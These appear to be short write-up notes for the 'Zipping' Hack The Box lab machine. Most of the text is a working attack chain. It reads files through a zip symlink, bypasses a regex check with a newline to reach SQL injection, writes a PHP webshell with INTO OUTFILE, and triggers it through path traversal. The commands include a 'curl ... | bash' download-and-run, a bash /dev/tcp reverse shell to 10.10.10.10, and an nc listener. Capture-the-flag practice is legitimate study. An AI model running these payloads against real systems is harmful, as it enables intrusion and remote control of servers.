curl -s $'http://zipping.htb/shop/index.php?page=product&id=%0A\'%3bselect+\'<%3fphp+system(\"curl+http%3a//10.10.10.10/rev.sh|bash\")%3b%3f>\'+into+outfile+\'/var/lib/mysql/breached.php\'+%231'
echo "bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'" > rev.sh
sudo python3 -m http.server 80
nc -lvnp 9001
curl -s $'http://zipping.htb/shop/index.php?page=..%2f..%2f..%2f..%2f..%2fvar%2flib%2fmysql%2fbreached'
first vulnerability is using symlink in zipfiles, which allows to read files.
create zipfile with symlink:
ln -s /var/www/html/shop/product.php lol.pdf
zip --symlink lol.zip lol.pdf
upload to
http://zipping.htb/upload.php
click on the link you get on the response
in BURP you can see source code of product.php, which contains the following vulnerable code:
...
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
...
the sql statement above is vulnerable to sql-injection.
to inject into sql statement with the id parameter, you need to fulfull the regex check:
- /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?] checks only first line (bypass with newline = %0A)
- [^0-9]$/ checks if payload ends with number (bypass with #1 = %231)
dont waste time to dump database, there is nothing useful,
instead: write file and execute php code through LFI (replace 10.10.10.10 with your ip):
